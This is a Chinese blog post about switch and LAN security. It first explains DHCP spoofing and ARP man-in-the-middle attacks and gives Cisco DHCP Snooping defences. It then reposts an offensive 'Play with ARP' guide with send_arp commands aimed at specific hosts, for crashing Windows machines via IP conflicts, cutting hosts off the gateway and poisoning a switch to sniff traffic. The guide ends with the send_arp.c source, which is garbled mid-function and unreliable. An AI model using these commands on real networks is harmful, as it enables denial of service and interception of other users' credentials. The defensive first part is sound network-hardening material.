如何欺骗交换机并实现制控权 - 达人(hero.7)

2005/06/10 | 如何欺骗交换机并实现制控权
类别(计算机) | 评论(0) | 阅读(407) | 发表于 16:11: 2 DHCP攻击的防范

2.1采用DHCP管理的常见问题：

采用 DHCP server 可以自动为用户设置网络 IP 地址、掩码、网关、 DNS 、 WINS 等网络参数，简化了用户网络设置，提高了管理效率。但在 DHCP 管理使用上也存在着一些另网管人员比较问题，常见的有：

• DHCP server 的冒充。

• DHCP server 的 Dos 攻击。

• 有些用户随便指定地址，造成网络地址冲突。

由于 DHCP 的运作机制，通常服务器和客户端没有认证机制，如果网络上存在多台 DHCP 服务器将会给网络照成混乱。由于用户不小心配置了 DHCP 服务器引起的网络混乱非常常见，足可见故意人为破坏的简单性。通常黑客攻击是首先将正常的 DHCP 服务器所能分配的 IP 地址耗尽，然后冒充合法的 DHCP 服务器。最为隐蔽和危险的方法是黑客利用冒充的 DHCP 服务器，为用户分配一个经过修改的 DNS server ，在用户毫无察觉的情况下被引导在预先配置好的假金融网站或电子商务网站，骗取用户帐户和密码，这种攻击是非常恶劣的。

对于 DHCP server 的 Dos 攻击可以利用前面将的 Port Security 和后面提到的 DAI 技术，对于有些用户随便指定地址，造成网络地址冲突也可以利用后面提到的 DAI 和 IP Source Guard 技术。这部分着重介绍 DHCP 冒用的方法技术。

2.2DHCP Snooping技术概况

DHCP Snooping技术是DHCP安全特性，通过建立和维护DHCP Snooping绑定表过滤不可信任的DHCP信息，这些信息是指来自不信任区域的DHCP信息。DHCP Snooping绑定表包含不信任区域的用户MAC地址、IP地址、租用期、VLAN-ID 接口等信息，如下表所示：

cat4507#sh ip dhcp snooping binding

MacAddress IpAddress Lease(sec) Type VLAN Interface

------------------ --------------- ---------- ------- ---- --------------------

00:0D:60:2D:45:0D 10.149.3.13 600735 dhcp-snooping 100 GigabitEthernet1/0/7

这张表不仅解决了 DHCP用户的IP和端口跟踪定位问题，为用户管理提供方便，而且还供给动态ARP检测DA）和IP Source Guard使用。

2.3基本防范

首先定义交换机上的信任端口和不信任端口，对于不信任端口的 DHCP 报文进行截获和嗅探， DROP 掉来自这些端口的非正常 DHCP 报文，如下图所示：

基本配置示例如下表：

IOS 全局命令：

ip dhcp snooping vlan 100,200 /* 定义哪些 VLAN 启用 DHCP 嗅探

ip dhcp snooping

接口命令

ip dhcp snooping trust

no ip dhcp snooping trust (Default)

ip dhcp snooping limit rate 10 (pps) /* 一定程度上防止 DHCP 拒绝服 /* 务攻击

手工添加 DHCP 绑定表

ip dhcp snooping binding 1.1.1 vlan 1 1.1.1.1 interface gi1/1 expiry 1000

导出 DHCP 绑定表到 TFTP 服务器

ip dhcp snooping database tftp:// 10.1.1 .1/directory/file

需要注意的是 DHCP 绑定表要存在本地存贮器 (Bootfalsh 、 slot0 、 ftp 、 tftp) 或导出到指定 TFTP 服务器上，否则交换机重启后 DHCP 绑定表丢失，对于已经申请到 IP 地址的设备在租用期内，不会再次发起 DHCP 请求，如果此时交换机己经配置了下面所讲到的 DAI 和 IP Source Guard 技术，这些用户将不能访问网络。

2.3高级防范

通过交换机的端口安全性设置每个 DHCP 请求指定端口上使用唯一的 MAC 地址，通常 DHCP 服务器通过 DHCP 请求的报文中的 CHADDR 段判断客户端 MAC 地址，通常这个地址和客户端的真是 IP 相同，但是如果攻击者不修改客户端的 MAC 而修改 DHCP 报文中 CHADDR ，实施 Dos 攻击， Port Security 就不起作用了， DHCP 嗅探技术可以检查 DHCP 请求报文中的 CHADDR 字段，判断该字段是否和 DHCP 嗅探表相匹配。这项功能在有些交换机是缺省配置的，有些交换机需要配置，具体需要参考相关交换机的配置文档。

3 ARP欺骗/ MITM(Man-In-The-Middle)攻击原理和防范

3.1 MITM(Man-In-The-Middle) 攻击原理

按照 ARP 协议的设计，为了减少网络上过多的 ARP 数据通信，一个主机，即使收到的 ARP 应答并非自己请求得到的，它也会将其插入到自己的 ARP 缓存表中，这样，就造成了“ ARP 欺骗”的可能。如果黑客想探听同一网络中两台主机之间的通信（即使是通过交换机相连），他会分别给这两台主机发送一个 ARP 应答包，让两台主机都“误”认为对方的 MAC 地址是第三方的黑客所在的主机，这样，双方看似“直接”的通信连接，实际上都是通过黑客所在的主机间接进行的。黑客一方面得到了想要的通信内容，另一方面，只需要更改数据包中的一些信息，成功地做好转发工作即可。在这种嗅探方式中，黑客所在主机是不需要设置网卡的混杂模式的，因为通信双方的数据包在物理上都是发送给黑客所在的中转主机的。

这里举个例子，假定同一个局域网内，有 3 台主机通过交换机相连：

A 主机： IP 地址为 192.168.0.1 ， MAC 地址为 01:01:01:01:01:01 ；

B 主机： IP 地址为 192.168.0.2 ， MAC 地址为 02:02:02:02:02:02 ；

C 主机： IP 地址为 192.168.0.3 ， MAC 地址为 03:03:03:03:03:03 。

B 主机对 A 和 C 进行欺骗的前奏就是发送假的 ARP 应答包，如图所示

在收到 B主机发来的ARP应答后，A主机应知道：

到 192.168.0.3 的数据包应该发到 MAC 地址为 020202020202 的主机； C 主机也知道：到 192.168.0.1 的数据包应该发到 MAC 地址为 020202020202 的主机。这样， A 和 C 都认为对方的 MAC 地址是 020202020202 ，实际上这就是 B 主机所需得到的结果。当然，因为 ARP 缓存表项是动态更新的，其中动态生成的映射有个生命期，一般是两分钟，如果再没有新的信息更新， ARP 映射项会自动去除。所以， B 还有一个“任务”，那就是一直连续不断地向 A 和 C 发送这种虚假的 ARP 响应包，让其 ARP缓存中一直保持被毒害了的映射表项。

现在，如果 A 和 C 要进行通信，实际上彼此发送的数据包都会先到达 B 主机，这时，如果 B 不做进一步处理， A 和 C 之间的通信就无法正常建立， B 也就达不到“嗅探”通信内容的目的，因此， B 要对“错误”收到的数据包进行一番修改，然后转发到正确的目的地，而修改的内容，无非是将目的 MAC 和源 MAC 地址进行替换。如此一来，在 A 和 C 看来，彼此发送的数据包都是直接到达对方的，但在 B 来看，自己担当的就是“第三者”的角色。这种嗅探方法，也被称作“ Man-In-The-Middle ”的方法。如图所示。

3.2攻击实例

目前利用 ARP原理编制的工具十分简单易用，这些工具可以直接嗅探和分析FTP、POP3、SMB、SMTP、HTTP/HTTPS、SSH、MSN等超过30种应用的密码和传输内容。下面是测试时利用工具捕获的 TELNET 过程，捕获内容包含了 TELNET 密码和全部所传的内容：

不仅仅是以上特定应用的数据，利用中间人攻击者可将监控到数据直接发给 SNIFFER等嗅探器，这样就可以监控所有被欺骗用户的数据。

还有些人利用 ARP原理开发出网管工具，随时切断指定用户的连接。这些工具流传到捣乱者手里极易使网络变得不稳定，通常这些故障很难排查。

-------------------------------------------

玩转ARP！~

我写这片文章只是想让你明白深刻理解某一协议的好处。
高手免看。
如果有人利用这片文章所做的一切事情，盖不负责。

网上关于ARP的资料已经很多了，就不用我都说了。
用某一位高手的话来说，“我们能做的事情很多，唯一受
限制的是我们的创造力和想象力”。

ARP也是如此。

以下讨论的机子有
一个要攻击的机子：10.5.4.178
硬件地址：52:54:4C:98:EE:2F
我的机子： :10.5.3.69
硬件地址：52:54:4C:98:ED:C5
网关： 10.5.0.3
硬件地址：00:90:26:3D:0C:F3
一台交换机另一端口的机子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7

一：用ARP破WINDOWS的屏保
原理：利用IP冲突的级别比屏保高，当有冲突时，就会
跳出屏保。
关键：ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40

二：用ARP导致IP冲突，死机
原理：WINDOWS 9X，NT4在处理IP冲突时，处理不过来，导致死机。
注：对WINDOWS 2K，LINUX相当于flooding,只是比一般的FLOODING
有效的多.对LINUX，明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999

三：用ARP欺骗网关，可导致局域网的某台机子出不了网关。
原理：用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果单单如上的命令，大概只能有效几秒钟，网关机子里的ARP
高速缓存会被被攻击的机子正确刷新，于是只要...

四：用ARP欺骗交换机，可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说，“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响，因为他掉了一部分数据。

当然还有其他一些应用，需要其他技术的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;js_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}; 0

http://ghostcn.5d.cn/

评论Comments